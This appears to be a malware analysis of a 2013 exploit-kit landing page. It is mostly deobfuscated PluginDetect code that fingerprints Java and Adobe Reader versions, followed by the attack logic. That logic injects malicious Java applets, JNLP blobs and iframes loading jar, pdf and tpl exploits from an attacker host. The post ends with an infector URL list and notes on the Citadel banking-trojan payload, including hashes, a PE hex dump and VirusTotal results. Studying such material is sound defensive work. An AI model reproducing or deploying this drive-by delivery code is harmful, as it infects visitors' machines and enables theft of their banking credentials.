$ : 1, hasRun : 0, mimetype : "", version : "", length : 0, mimeObj : 0, pluginObj
: 0, isDisabled : function (){
var b = this , d = b.$, c = b.$$, a = c.navigator;
if (d.isIE ||! a.mimeObj ||! a.pluginObj){
return 1
}
return 0
}
, query : function (){
var i = this , f = i.$, a = i.$$, b = (i.hasRun || i.isDisabled());
i.hasRun = 1;
if (b){
return i
}
;
var n =/^\ s * application \/ x - java - applet;
jpi - version \ s *=\ s * ( \ d. * )$ / i, g, l, j, d = "", h = "a", o, m, k =
{
}
, c = f.formatNum("0");
for (l = 0; l < navigator.mimeTypes.length; l ++ ){
o = navigator.mimeTypes[l];
m = o ? o.enabledPlugin : 0;
g = o && n.test(o.type || d) ? f.formatNum(f.getNum(RegExp.$1)) : 0;
if (g && m && (m.description || m.name)){
if (!k[h + g]){
i.length ++
}
k[h + g] = o.type;
if (f.compareNums(g, c) > 0){
c = g
}
}
}
g = k[h + c];
if (g){
o = f.hasMimeType(g);
i.mimeObj = o;
i.pluginObj = o ? o.enabledPlugin : 0;
i.mimetype = g;
i.version = c
}
;
return i
}
}
, navPlugin : {
$ : 1, hasRun : 0, version : "", isDisabled : function (){
var d = this , c = d.$, b = d.$$, a = b.navigator;
if (c.isIE ||! a.mimeObj ||! a.pluginObj){
return 1
}
return 0
}
, query : function (){
var m = this , e = m.$, c = m.$$, h = c.navigator, j, l, k, g, d, a, i, f = 0, b
= (m.hasRun || m.isDisabled());
m.hasRun = 1;
if (b){
return m
}
;
a = h.pluginObj.name || "";
i = h.pluginObj.description || "";
if (!f || e.dbug){
g =/ Java. * TM. * Platform[ ^\ d] * ( \ d + )( ?: [ \ ., _]( \ d * )) ? ( ?:\
s * [Update] +\ s * ( \ d * )) ?/ i;
if ((g.test(a) || g.test(i)) && parseInt(RegExp.$1, 10) >= 5){
f = "1," + RegExp.$1 + "," + (RegExp.$2 ? RegExp.$2 : "0") + "," + (RegExp.
$3 ? RegExp.$3 : "0")
}
}
if (!f || e.dbug){
g =/ Java[ ^\ d] * Plug - in / i;
l = g.test(i) ? e.formatNum(e.getNum(i)) : 0;
k = g.test(a) ? e.formatNum(e.getNum(a)) : 0;
if (l && (e.compareNums(l, e.formatNum("1,3")) < 0 || e.compareNums(l, e.
formatNum("2")) >= 0)){
l = 0
}
if (k && (e.compareNums(k, e.formatNum("1,3")) < 0 || e.compareNums(k, e.
formatNum("2")) >= 0)){
k = 0
}
d = l && k ? (e.compareNums(l, k) > 0 ? l : k) : (l || k);
if (d){
f = d
}
}
if (!f && e.isSafari && e.OS == 2){
j = e.findNavPlugin("Java.*\d.*Plug-in.*Cocoa", 0);
if (j){
l = e.getNum(j.description);
if (l){
f = l
}
}
}
;
if (f){
m.version = e.formatNum(f)
}
;
return m
}
}
, applet : {
$ : 1, codebase : {
$ : 1, isMin : function (a){
return this .$.codebase.isMin(this , a)
}
, search : function (){
return this .$.codebase.search(this )
}
, ParamTags :
'<param name="code" value="A19999.class" /><param name="codebase_lookup" value="false" />'
, DIGITMAX : [[16, 64], [6, 0, 512], 0, [1, 5, 2, 256], 0, [1, 4, 1, 1], [1, 4,
0, 64], [1, 3, 2, 32]], DIGITMIN : [1, 0, 0, 0], Upper : ["999", "10", "5,0,20",
"1,5,0,20", "1,4,1,20", "1,4,1,2", "1,4,1", "1,4"], Lower : ["10", "5,0,20",
"1,5,0,20", "1,4,1,20", "1,4,1,2", "1,4,1", "1,4", "0"], convert : [function (b,
a){
return a ? [parseInt(b[0], 10) > 1 ? "99" : parseInt(b[1], 10) + 3 + "", b[3],
"0", "0"] : ["1", parseInt(b[0], 10) - 3 + "", "0", b[1]]
}
, function (b, a){
return a ? [b[1], b[2], b[3] + "0", "0"] : ["1", b[0], b[1], b[2].substring(0,
b[2].length - 1 || 1)]
}
, 0, function (b, a){
return a ? [b[0], b[1], b[2], b[3] + "0"] : [b[0], b[1], b[2], b[3].substring(
0, b[3].length - 1 || 1)]
}
, 0, 1, function (b, a){
return a ? [b[0], b[1], b[2], b[3] + "0"] : [b[0], b[1], b[2], b[3].substring(
0, b[3].length - 1 || 1)]
}
, 1]
}
, results : [[null, null], [null, null], [null, null], [null, null]], getResult :
function (){
var b = this , d = b.results, a, c = [];
for (a = d.length - 1; a >= 0; a -- ){
c = d[a];
if (c[0]){
break
}
}
c = [].concat(c);
return c
}
, DummySpanTagHTML : 0, HTML : [0, 0, 0, 0], active : [0, 0, 0, 0],
DummyObjTagHTML : 0, DummyObjTagHTML2 : 0, allowed : [1, 1, 1, 1], VerifyTagsHas :
function (c){
var d = this , b;
for (b = 0; b < d.allowed.length; b ++ ){
if (d.allowed[b] === c){
return 1
}
}
return 0
}
, saveAsVerifyTagsArray : function (c){
var b = this , d = b.$, a;
if (d.isArray(c)){
for (a = 1; a < b.allowed.length; a ++ ){
if (c.length > a - 1 && d.isNum(c[a - 1])){
if (c[a - 1] < 0){
c[a - 1] = 0
}
if (c[a - 1] > 3){
c[a - 1] = 3
}
b.allowed[a] = c[a - 1]
}
}
b.allowed[0] = b.allowed[3]
}
}
, setVerifyTagsArray : function (d){
var b = this , c = b.$, a = b.$$;
if (a.getVersionDone === null){
b.saveAsVerifyTagsArray(a.getVerifyTagsDefault())
}
if (c.dbug){
b.saveAsVerifyTagsArray([3, 3, 3])
}
else {
if (d){
b.saveAsVerifyTagsArray(d)
}
}
}
, isDisabled : {
$ : 1, single : function (d){
var a = this , c = a.$, b = a.$$;
if (d == 0){
return c.codebase.isDisabled()
}
if ((d == 3 &&! c.isIE) || a.all()){
return 1
}
if (d == 1 || d == 3){
return !c.DOM.isEnabled.objectTag()
}
if (d == 2){
return a.AppletTag()
}
}
, aA_ : null, all : function (){
var c = this , e = c.$, d = c.$$, b = d.navigator, a = 0;
if (c.aA_ === null){
if (e.OS >= 20){
a = 0
}
else {
if (e.verOpera && e.verOpera < 11 &&! b.javaEnabled()){
a = 1
}
else {
if ((e.verGecko && e.compareNums(e.verGecko, e.formatNum("2")) < 0) &&!
b.mimeObj){
a = 1
}
else {
if (c.AppletTag() &&! e.DOM.isEnabled.objectTag()){
a = 1
}
}
}
}
;
c.aA_ = a
}
return c.aA_
}
, AppletTag : function (){
var b = this , d = b.$, c = b.$$, a = c.navigator;
return d.isIE ?! a.javaEnabled() : 0
}
, VerifyTagsDefault_1 : function (){
var a = this .$;
if (a.OS >= 20){
return 1
}
if ((a.isIE && (a.verIE < 9 ||! a.ActiveXEnabled)) || (a.verGecko && a.
compareNums(a.verGecko, a.formatNum("2")) < 0) || (a.isSafari && (!a.verSafari
|| a.compareNums(a.verSafari, a.formatNum("4")) < 0)) || (a.verOpera && a.
verOpera < 10)){
return 0
}
return 1
}
, z : 0
}
, can_Insert_Query : function (d){
var b = this , c = b.results[0][0], a = b.getResult()[0];
if (b.HTML[d] || (d == 0 && c !== null &&! b.isRange(c)) || (d == 0 && a &&! b.
isRange(a))){
return 0
}
return !b.isDisabled.single(d)
}
, can_Insert_Query_Any : function (){
var b = this , a;
for (a = 0; a < b.results.length; a ++ ){
if (b.can_Insert_Query(a)){
return 1
}
}
return 0
}
, should_Insert_Query : function (e){
var c = this , f = c.allowed, d = c.$, b = c.$$, a = c.getResult()[0];
a = a && (e > 0 ||! c.isRange(a));
if (!c.can_Insert_Query(e) || f[e] === 0){
return 0
}
if (f[e] == 3 || (f[e] == 2.8 &&! a)){
return 1
}
if (!b.nonAppletDetectionOk(b.version0)){
if (f[e] == 2 || (f[e] == 1 &&! a)){
return 1
}
}
return 0
}
, should_Insert_Query_Any : function (){
var b = this , a;
for (a = 0; a < b.allowed.length; a ++ ){
if (b.should_Insert_Query(a)){
return 1
}
}
return 0
}
, query : function (f){
var j, a = this , i = a.$, d = a.$$, k = null, l = null, b = a.results, c, h, g =
a.HTML[f];
if (!g ||! g.obj() || b[f][0] || d.bridgeDisabled || (i.dbug && d.OTF < 3)){
return
}
c = g.obj();
h = g.readyState();
if (!i.isIE || h === 4){
try {
k = i.getNum(c.getVersion() + "");
l = c.getVendor() + "";
c.statusbar(i.win.loaded ? " " : " ")
}
catch (j){
}
;
if (k && i.isStrNum(k)){
b[f] = [k, l];
a.active[f] = 2
}
}
}
, isRange : function (a){
return (/^[<>]/).test(a || "") ? (a.charAt(0) == ">" ? 1 :- 1) : 0
}
, setRange : function (b, a){
return (b ? (b > 0 ? ">" : "<") : "") + (this .$.isString(a) ? a : "")
}
, insertJavaTag : function (g, n, h, o, m){
var e = this , c = e.$, k = e.$$, r = "A.class", b = c.file.getValid(k), f = b.
name + b.ext, q = b.path;
var i = ["archive", f, "code", r], l = (o ? ["width", o] : []).concat(m ? [
"height", m] : []), j = ["mayscript", "true"], p = ["scriptable", "true",
"codebase_lookup", "false"].concat(j), a = k.navigator, d =! c.isIE && a.mimeObj
&& a.mimeObj.type ? a.mimeObj.type : k.mimeType[0];
if (g == 1){
return c.isIE ? c.DOM.insert("object", ["type", d].concat(l), ["codebase", q].
concat(i).concat(p), h, k, 0, n) : c.DOM.insert("object", ["type", d].concat(l
), ["codebase", q].concat(i).concat(p), h, k, 0, n)
}
if (g == 2){
return c.isIE ? c.DOM.insert("applet", ["alt", h].concat(j).concat(i).concat(l
), ["codebase", q].concat(p), h, k, 0, n) : c.DOM.insert("applet", ["codebase"
, q, "alt", h].concat(j).concat(i).concat(l), [].concat(p), h, k, 0, n)
}
if (g == 3){
return c.isIE ? c.DOM.insert("object", ["classid", k.classID].concat(l), [
"codebase", q].concat(i).concat(p), h, k, 0, n) : c.DOM.insert()
}
if (g == 4){
return c.DOM.insert("embed", ["codebase", q].concat(i).concat(["type", d]).
concat(p).concat(l), [], h, k, 0, n)
}
}
, insert_Query_Any : function (i){
var b = this , d = b.$, c = b.$$, g = b.results, j = b.HTML, a = d.DOM.altHTML,
e, h = d.file.getValid(c);
if (b.should_Insert_Query(0)){
if (c.OTF < 2){
c.OTF = 2
}
;
g[0] = [0, 0];
e = i ? b.codebase.isMin(i) : b.codebase.search();
if (e){
g[0][0] = i ? b.setRange(e, i) : e
}
b.active[0] = e ? 1.5 :- 1
}
if (!h){
return b.getResult()
}
if (!b.DummySpanTagHTML){
b.DummySpanTagHTML = d.DOM.insert("", [], [], a)
}
if (b.should_Insert_Query(1)){
if (c.OTF < 2){
c.OTF = 2
}
;
j[1] = b.insertJavaTag(1, 0, a);
g[1] = [0, 0];
b.query(1)
}
if (b.should_Insert_Query(2)){
if (c.OTF < 2){
c.OTF = 2
}
;
j[2] = b.insertJavaTag(2, 0, a);
g[2] = [0, 0];
b.query(2)
}
if (b.should_Insert_Query(3)){
if (c.OTF < 2){
c.OTF = 2
}
;
j[3] = b.insertJavaTag(3, 0, a);
g[3] = [0, 0];
b.query(3)
}
if (d.DOM.isEnabled.objectTag()){
if (!b.DummyObjTagHTML && (j[1] || j[2])){
b.DummyObjTagHTML = d.DOM.insert("object", ["type", c.mimeType_dummy], [], a
)
}
if (!b.DummyObjTagHTML2 && j[3]){
b.DummyObjTagHTML2 = d.DOM.insert("object", ["classid", c.classID_dummy], []
, a)
}
}
var f = c.NOTF;
if (c.OTF < 3 && f.shouldContinueQuery()){
c.OTF = 3;
f.onIntervalQuery = d.ev.handler(f.$$onIntervalQuery, f);
if (!d.win.loaded){
d.win.funcs0.push([f.winOnLoadQuery, f])
}
setTimeout(f.onIntervalQuery, f.intervalLength)
}
return b.getResult()
}
}
, NOTF : {
$ : 1, count : 0, countMax : 25, intervalLength : 250, shouldContinueQuery :
function (){
var f = this , e = f.$, c = f.$$, b = c.applet, a, d = 0;
if (e.win.loaded && f.count > f.countMax){
return 0
}
for (a = 0; a < b.results.length; a ++ ){
if (b.HTML[a]){
if (!e.win.loaded && f.count > f.countMax && e.codebase.checkGarbage(b.HTML[
a].span)){
d = 1;
b.HTML[a].DELETE = 1
}
if (!d &&! b.results[a][0] && (b.allowed[a] >= 2 || (b.allowed[a] == 1 &&! b
.getResult()[0])) && f.isAppletActive(a) >= 0){
return 1
}
}
}
;
return 0
}
, isJavaActive : function (d){
var f = this , c = f.$$, a, b, e =- 9;
for (a = 0; a < c.applet.HTML.length; a ++ ){
b = f.isAppletActive(a, d);
if (b > e){
e = b
}
}
return e
}
, isAppletActive : function (e, g){
var h = this , f = h.$, b = h.$$, l = b.navigator, a = b.applet, i = a.HTML[e],
d = a.active, k, c = 0, j, m = d[e];
if (g || m >= 1.5 ||! i ||! i.span){
return m
}
;
j = f.DOM.getTagStatus(i, a.DummySpanTagHTML, a.DummyObjTagHTML, a.
DummyObjTagHTML2, h.count);
for (k = 0; k < d.length; k ++ ){
if (d[k] > 0){
c = 1
}
}
if (j != 1){
m = j
}
else {
if (f.isIE || (b.version0 && l.javaEnabled() && l.mimeObj && (i.tagName ==
"object" || c))){
m = 1
}
else {
m = 0
}
}
d[e] = m;
return m
}
, winOnLoadQuery : function (c, d){
var b = d.$$, a;
if (b.OTF == 3){
a = d.queryAllApplets();
d.queryCompleted(a)
}
}
, $$onIntervalQuery : function (d){
var c = d.$, b = d.$$, a;
if (b.OTF == 3){
a = d.queryAllApplets();
if (!d.shouldContinueQuery()){
d.queryCompleted(a)
}
}
d.count++;
if (b.OTF == 3){
setTimeout(d.onIntervalQuery, d.intervalLength)
}
}
, queryAllApplets : function (){
var f = this , e = f.$, d = f.$$, c = d.applet, b, a;
for (b = 0; b < c.results.length; b ++ ){
c.query(b)
}
a = c.getResult();
return a
}
, queryCompleted : function (c){
var g = this , f = g.$, e = g.$$, d = e.applet, b;
if (e.OTF >= 4){
return
}
e.OTF = 4;
var a = g.isJavaActive();
for (b = 0; b < d.HTML.length; b ++ ){
if (d.HTML[b] && d.HTML[b].DELETE){
f.DOM.emptyNode(d.HTML[b].span);
d.HTML[b].span = null
}
}
e.setPluginStatus(c[0], c[1], 0);
if (f.onDetectionDone && e.funcs){
f.ev.callArray(e.funcs)
}
if (f.DOM){
f.DOM.onDoneEmptyDiv()
}
}
}
, zz : 0
}
, adobereader : {
$ : 1, setPluginStatus : function (){
var d = this , b = d.$, a = d.navPlugin.detected, e = d.navPlugin.version, g = d.
axo.detected, c = d.axo.version, i = d.doc.detected, h = d.doc.version, f = e || c
|| h || null;
d.installed = f ? 1 : (a > 0 || g > 0 || i > 0 ? 0 : (i ==- 0.5 ?- 0.15 : (b.isIE
&& (!b.ActiveXEnabled || b.ActiveXFilteringEnabled) ?- 1.5 :- 1)));
d.version = b.formatNum(f)
}
, getVersion : function (c, e){
var a = this , d = a.$, b = 0;
if ((!b || d.dbug) && a.navPlugin.query().detected > 0){
b = 1
}
if ((!b || d.dbug) && a.axo.query().detected > 0){
b = 1
}
if ((!b || d.dbug) && (a.doc.query().detected > 0 || a.doc.detected ==- 0.5)){
b = 1
}
a.setPluginStatus()
}
, navPlugin : {
$ : 1, detected : 0, version : null, mimeType : "application/pdf", isDisabled :
function (){
var c = this , b = c.$, a = c.$$;
return b.isIE || c.detected ||! b.hasMimeType(c.mimeType) ? 1 : 0
}
, attempt3 : function (){
var c = this , b = c.$, a = null;
if (b.OS == 1){
if (b.hasMimeType("application/vnd.adobe.pdfxml")){
a = "9"
}
else {
if (b.hasMimeType("application/vnd.adobe.x-mars")){
a = "8"
}
else {
if (b.hasMimeType("application/vnd.adobe.xfdf")){
a = "6"
}
}
}
}
return a
}
, query : function (){
var d = this , c = d.$, a = d.$$, f, e, b = null;
if (d.isDisabled()){
return d
}
;
f = "Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in";
e = c.findNavPlugin(f, 0);
d.detected = e ? 1 :- 1;
if (e){
b = c.getNum(e.description) || c.getNum(e.name);
b = c.getPluginFileVersion(e, b);
if (!b){
b = d.attempt3()
}
}
if (b){
d.version = b
}
;
return d
}
}
, pluginQuery : function (j){
var f = this , d = f.$, b = "", h = null, g, a, i, c;
try {
if (j){
b = j.GetVersions()
}
}
catch (g){
}
if (b && d.isString(b)){
a =/=\ s * ([ \ d \ .] + ) / g;
for (i = 0; i < 30; i ++ ){
if (a.test(b)){
c = d.formatNum(RegExp.$1);
if (!h || d.compareNums(c > h) > 0){
h = c
}
}
else {
break
}
}
}
return h
}
, axo : {
$ : 1, detected : 0, version : null, progID : ["AcroPDF.PDF", "AcroPDF.PDF.1",
"PDF.PdfCtrl", "PDF.PdfCtrl.5", "PDF.PdfCtrl.1"], isDisabled : function (){
var b = this , c = b.$, a = b.$$;
return c.isIE &&! b.detected ? 0 : 1
}
, query : function (){
var d = this , e = d.$, b = d.$$, f = 0, c = null, a;
if (d.isDisabled()){
return d
}
;
for (a = 0; a < d.progID.length; a ++ ){
f = e.getAXO(d.progID[a]);
if (f){
d.detected = 1;
c = b.pluginQuery(f);
if (!e.dbug && c){
break
}
}
}
d.version = c ? c : null;
if (d.detected === 0){
d.detected =- 1
}
;
return d
}
}
, doc : {
$ : 1, detected : 0, version : null, classID :
"clsid:CA8A9780-280D-11CF-A24D-444553540000", classID_dummy :
"clsid:CA8A9780-280D-11CF-A24D-BA9876543210", DummySpanTagHTML : 0, HTML : 0,
DummyObjTagHTML1 : 0, DummyObjTagHTML2 : 0, isDisabled : function (){
var c = this , b = c.$, a = 0;
if (c.detected){
a = 1
}
else {
if (b.dbug){
}
else {
if (!b.isIE ||! b.DOM.isEnabled.objectTag()){
a = 1
}
}
}
return a
}
, query : function (){
var i = this , d = i.$, f = i.$$, h = null, a = d.DOM.altHTML, g = null, c = 1,
e = 1, b;
if (i.isDisabled()){
return i
}
;
if (!i.DummySpanTagHTML){
i.DummySpanTagHTML = d.DOM.insert("", [], [], a, f, e)
}
if (!i.HTML){
i.HTML = d.DOM.insert("object", ["classid", i.classID], [], a, f, e)
}
if (!i.DummyObjTagHTML2){
i.DummyObjTagHTML2 = d.DOM.insert("object", ["classid", i.classID_dummy], [],
a, f, e)
}
b = d.DOM.getTagStatus(i.HTML, i.DummySpanTagHTML, i.DummyObjTagHTML1, i.
DummyObjTagHTML2, g, c);
h = f.pluginQuery(i.HTML.obj());
i.detected = b > 0 || h ? 1 : (b ==- 0.1 || b ==- 0.5 ?- 0.5 :- 1);
i.version = h ? h : null;
return i
}
}
}
, zz : 0
}
}
;
PluginDetect.INIT();
j_version = PluginDetect.getVersion('Java');
p_version = PluginDetect.getVersion('AdobeReader');
if (j_version != null){
j_version = j_version.split(",");
}
else {
j_version = [0, 0, 0, 0];
}
if (p_version != null){
p_version = p_version.split(",");
}
else {
p_version = [0, 0, 0, 0];
}
java_enable = 0;
if (j_version[0] > 0 && j_version[1] < 7){
document.write('
<applet code="acwqssz.class" archive="http://c1hdm.scanbegin.biz:53331/3429015467/13839257
40.jar"><param name="ur0l0" value="AhhjyHHuxAYa8tuE7vp9c78vcCyrLLLxH5HxLqLDwr3GlHLGwDlxrG4
3Hw"><param name="t" value="0"><param name="tt" value="0"></applet>');
java_enable = 1;
}
if (j_version[0] > 0 && j_version[1] == 7 && j_version[3] <= 17){
document.write('
<applet><param name="jnlp_href" value="dfwqwfwew.jnlp" /><param name="jnlp_embedded" value
="PGpubHAgc3BlYz0iMS4wIiB4bWxuczpqZng9Imh0dHA6Ly9nb29nbGUuY29tIiBocmVmPSJhcHBsZXRfc2VjdXJp
dHlfYnlwYXNzLmpubHAiPg0KICA8aW5mb3JtYXRpb24+DQogICAgPHRpdGxlPlkgYXNmIElJPC90aXRsZT4NCiAgIC
A8dmVuZG9yPmZkZmVncndlPC92ZW5kb3I+DQogIDwvaW5mb3JtYXRpb24+DQogIA0KICAgPHJlc291cmNlcz4NCiAg
ICAgICAgPGoyc2UgdmVyc2lvbj0iMS43KyIgaHJlZj0iIi8+DQogICAgICAgIDxqYXIgaHJlZj0iaHR0cDovL2MxaG
RtLnNjYW5iZWdpbi5iaXo6NTMzMzEvMzQyOTAxNTQ2Ny8xMzgzOTI1NzQwLmphciIgbWFpbj0idHJ1ZSIgLz4NCiAg
PC9yZXNvdXJjZXM+DQogIDxhcHBsZXQtZGVzYyBuYW1lPSJBRnVjayBPZmYiIGhlaWdodD0iMSIgICB3aWR0aD0iMS
IgbWFpbi1jbGFzcz0iYWN3cXNzeiI+DQogICAgIDxwYXJhbSB2YWx1ZT0idHJ1ZSIgbmFtZT0iX19hcHBsZXRfc3N2
X3ZhbGlkYXRlZCIgLz4NCjxwYXJhbSBuYW1lPSJ1cjBsMCIgdmFsdWU9IkFoaGp5SEh1eEFZYTh0dUU3dnA5Yzc4dm
NDeXJMTEx4SDVIeExxTER3cjNHbEhMR3dEbHhyRzQzSHciPg0KPHBhcmFtIG5hbWU9InQiIHZhbHVlPSIwIj4NCjxw
YXJhbSBuYW1lPSJ0dCIgdmFsdWU9IjAiPg0KICA8L2FwcGxldC1kZXNjPg0KPC9qbmxwPg==" /></applet>');
java_enable = 1;
}
if (j_version[0] > 0 && j_version[1] == 7 && j_version[3] == 21){
document.write('
<applet> <param name="jnlp_href" value="dfweqdasdfeqw.jnlp" /> <param name="jnlp_e
mbedded" value="ICA8am5scCBzcGVjPSIxLjAiIHhtbG5zOmpmeD0iaHR0cDovL2dvb2dsZS5jb20iIGhyZWY9Ii
I+DQogICAgICAgICAgICA8aW5mb3JtYXRpb24+DQogICAgICAgICAgICA8dGl0bGU+ZGZ3ZWRhZmQ8L3RpdGxlPg0K
ICAgICAgICAgICAgPHZlbmRvcj5lZnZyd2VmcTwvdmVuZG9yPg0KICAgICAgICAgICAgPC9pbmZvcm1hdGlvbj4NCi
AgICAgICAgICAgIDxyZXNvdXJjZXM+DQogICAgICAgICAgICA8ajJzZSB2ZXJzaW9uPSIxLjcrIiBocmVmPSIiIC8+
DQogICAgICAgICAgICA8amFyIGhyZWY9Imh0dHA6Ly9jMWhkbS5zY2FuYmVnaW4uYml6OjUzMzMxLzM0MjkwMTU0Nj
cvMTM4MzkyNTc0MC5qYXIiIG1haW49InRydWUiIC8+DQogICAgICAgICAgICA8L3Jlc291cmNlcz4NCiAgICAgICAg
ICAgIDxqZng6amF2YWZ4LWRlc2MgbWFpbi1jbGFzcz0iUmFkdmEiIHByZWxvYWRlci1jbGFzcz0iYWN3cXNzeiIgbm
FtZT0iQXBwIi8+DQogICAgICAgICAgICA8YXBwbGV0LWRlc2MgbmFtZT0iQXNkZiIgbWFpbi1jbGFzcz0iVmFzZGEi
IHdpZHRoPSIzIiBoZWlnaHQ9IjMiPg0KICAgICAgICAgICAgPC9hcHBsZXQtZGVzYz48L2pubHA+" /> <param na
me="javafx_version" value="2.0+" /> <param name="ur0l0" value="AhhjyHHuxAYa8tuE7vp9c78vcCy
rLLLxH5HxLqLDwr3GlHLGwDlxrG43Hw" /> <param name="t" value="0" /> <param name="tt" value="0
" /> </applet>');
java_enable = 1;
}
function fg(url, width, height){
var s1 = document.createElement("iframe");
s1.setAttribute("src", url);
s1.setAttribute("width", width);
s1.setAttribute("height", height);
document.body.appendChild(s1);
}
if (java_enable == 1){
setTimeout('fg("http://c1hdm.scanbegin.biz:53331/3429015467/1383925740.tpl","66","97")',
5000);
}
else {
fg("http://c1hdm.scanbegin.biz:53331/3429015467/1383925740.tpl", "68", "62");
}
if ((p_version[0] == 8) || (p_version[0] == 9 && p_version[1] <= 3)){
if (java_enable == 1){
setTimeout(
'fg("http://c1hdm.scanbegin.biz:53331/3429015467/1383925740.pdf","69","66")', 7000);
}
else {
fg("http://c1hdm.scanbegin.biz:53331/3429015467/1383925740.pdf", "55", "81");
}
}
/* Infector List (Site is down during investigation) */
ht tp://c1hdm.scanbegin.biz:53331/3429015467/1383925740.jar <----java 6
ht tp://c1hdm.scanbegin.biz:53331/3429015467/1383925740.pdf <--- pdf
ht tp://c1hdm.scanbegin.biz:53331/3429015467/1383925740.tpl <--- tpl
// and 2 jnlp applets..
if (j_version[0] > 0 && j_version[1] == 7 && j_version[3] <= 17){
document.write('
<applet><param name="jnlp_href" value="dfwqwfwew.jnlp" /><param name="jnlp_embedded" value
="PGpubHAgc3BlYz0iMS4wIiB4bWxuczpqZng9Imh0dHA6Ly9nb29nbGUuY29tIiBocmVmPSJhcHBsZXRfc2VjdXJp
dHlfYnlwYXNzLmpubHAiPg0KICA8aW5mb3JtYXRpb24+DQogICAgPHRpdGxlPlkgYXNmIElJPC90aXRsZT4NCiAgIC
A8dmVuZG9yPmZkZmVncndlPC92ZW5kb3I+DQogIDwvaW5mb3JtYXRpb24+DQogIA0KICAgPHJlc291cmNlcz4NCiAg
ICAgICAgPGoyc2UgdmVyc2lvbj0iMS43KyIgaHJlZj0iIi8+DQogICAgICAgIDxqYXIgaHJlZj0iaHR0cDovL2MxaG
RtLnNjYW5iZWdpbi5iaXo6NTMzMzEvMzQyOTAxNTQ2Ny8xMzgzOTI1NzQwLmphciIgbWFpbj0idHJ1ZSIgLz4NCiAg
PC9yZXNvdXJjZXM+DQogIDxhcHBsZXQtZGVzYyBuYW1lPSJBRnVjayBPZmYiIGhlaWdodD0iMSIgICB3aWR0aD0iMS
IgbWFpbi1jbGFzcz0iYWN3cXNzeiI+DQogICAgIDxwYXJhbSB2YWx1ZT0idHJ1ZSIgbmFtZT0iX19hcHBsZXRfc3N2
X3ZhbGlkYXRlZCIgLz4NCjxwYXJhbSBuYW1lPSJ1cjBsMCIgdmFsdWU9IkFoaGp5SEh1eEFZYTh0dUU3dnA5Yzc4dm
NDeXJMTEx4SDVIeExxTER3cjNHbEhMR3dEbHhyRzQzSHciPg0KPHBhcmFtIG5hbWU9InQiIHZhbHVlPSIwIj4NCjxw
YXJhbSBuYW1lPSJ0dCIgdmFsdWU9IjAiPg0KICA8L2FwcGxldC1kZXNjPg0KPC9qbmxwPg==" /></applet>');
java_enable = 1;
}
if (j_version[0] > 0 && j_version[1] == 7 && j_version[3] == 21){
document.write('
<applet> <param name="jnlp_href" value="dfweqdasdfeqw.jnlp" /> <param name="jnlp_e
mbedded" value="ICA8am5scCBzcGVjPSIxLjAiIHhtbG5zOmpmeD0iaHR0cDovL2dvb2dsZS5jb20iIGhyZWY9Ii
I+DQogICAgICAgICAgICA8aW5mb3JtYXRpb24+DQogICAgICAgICAgICA8dGl0bGU+ZGZ3ZWRhZmQ8L3RpdGxlPg0K
ICAgICAgICAgICAgPHZlbmRvcj5lZnZyd2VmcTwvdmVuZG9yPg0KICAgICAgICAgICAgPC9pbmZvcm1hdGlvbj4NCi
AgICAgICAgICAgIDxyZXNvdXJjZXM+DQogICAgICAgICAgICA8ajJzZSB2ZXJzaW9uPSIxLjcrIiBocmVmPSIiIC8+
DQogICAgICAgICAgICA8amFyIGhyZWY9Imh0dHA6Ly9jMWhkbS5zY2FuYmVnaW4uYml6OjUzMzMxLzM0MjkwMTU0Nj
cvMTM4MzkyNTc0MC5qYXIiIG1haW49InRydWUiIC8+DQogICAgICAgICAgICA8L3Jlc291cmNlcz4NCiAgICAgICAg
ICAgIDxqZng6amF2YWZ4LWRlc2MgbWFpbi1jbGFzcz0iUmFkdmEiIHByZWxvYWRlci1jbGFzcz0iYWN3cXNzeiIgbm
FtZT0iQXBwIi8+DQogICAgICAgICAgICA8YXBwbGV0LWRlc2MgbmFtZT0iQXNkZiIgbWFpbi1jbGFzcz0iVmFzZGEi
IHdpZHRoPSIzIiBoZWlnaHQ9IjMiPg0KICAgICAgICAgICAgPC9hcHBsZXQtZGVzYz48L2pubHA+" /> <param na
me="javafx_version" value="2.0+" /> <param name="ur0l0" value="AhhjyHHuxAYa8tuE7vp9c78vcCy
rLLLxH5HxLqLDwr3GlHLGwDlxrG43Hw" /> <param name="t" value="0" /> <param name="tt" value="0
" /> </applet>');
java_enable = 1;
}
/* Payload */
Citadel: 0f14feccc5d58520176bce777b4d733c
Sections:
.text 0x1000 0x47dcc 294912
.data 0x49000 0x1a68 4096
.rsrc 0x4b000 0x1dca 8192
Entry Point at 0x1214
Virtual Address is 0x401214
Code Analysis ...
Analyzing address 0x0000120e - 0 in queue / 3 total
0000 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 MZ..............
0010 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ........@.......
0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0030 00 00 00 00 00 00 00 00 00 00 00 00 B8 00 00 00 ................
0040 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68 ........!..L.!Th
0050 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F is program canno
0060 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 t be run in DOS
0070 6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00 mode....$.......
0080 C7 BF 79 DA 83 DE 17 89 83 DE 17 89 83 DE 17 89 ..y.............
0090 00 C2 19 89 82 DE 17 89 CC FC 1E 89 87 DE 17 89 ................
00A0 B5 F8 1A 89 82 DE 17 89 52 69 63 68 83 DE 17 89 ........Rich....
00B0 00 00 00 00 00 00 00 00 50 45 00 00 4C 01 03 00 ........PE..L...
00C0 AE D2 7B 52 00 00 00 00 00 00 00 00 E0 00 0F 01 ..{R............
VT: https://www.virustotal.com/latest-scan/90640e84c87ca8e9bbf6d308f701117517f60707883f94ba48961b72075bcc1a
SHA256: 90640e84c87ca8e9bbf6d308f701117517f60707883f94ba48961b72075bcc1a
File name: 0f14feccc5d58520176bce777b4d733c_undefined.exe
Detection ratio: 2 / 46
Analysis date: 2013-11-08 10:26:38 UTC ( 21 hours, 9 minutes ago )
First submission 2013-11-08 10:26:38 UTC ( 21 hours, 9 minutes ago )
Last submission 2013-11-08 10:26:38 UTC ( 21 hours, 9 minutes ago )
Symantec WS.Reputation.1 20131108
AhnLab-V3 Spyware/Win32.Zbot 20131107
PE signature block
Copyright
Freizeitinseln
Publisher MetaGeek, LLC
Product Auswertungswelt
Original name BOCV.exe
Internal name BOCV
File version 5.06.0001
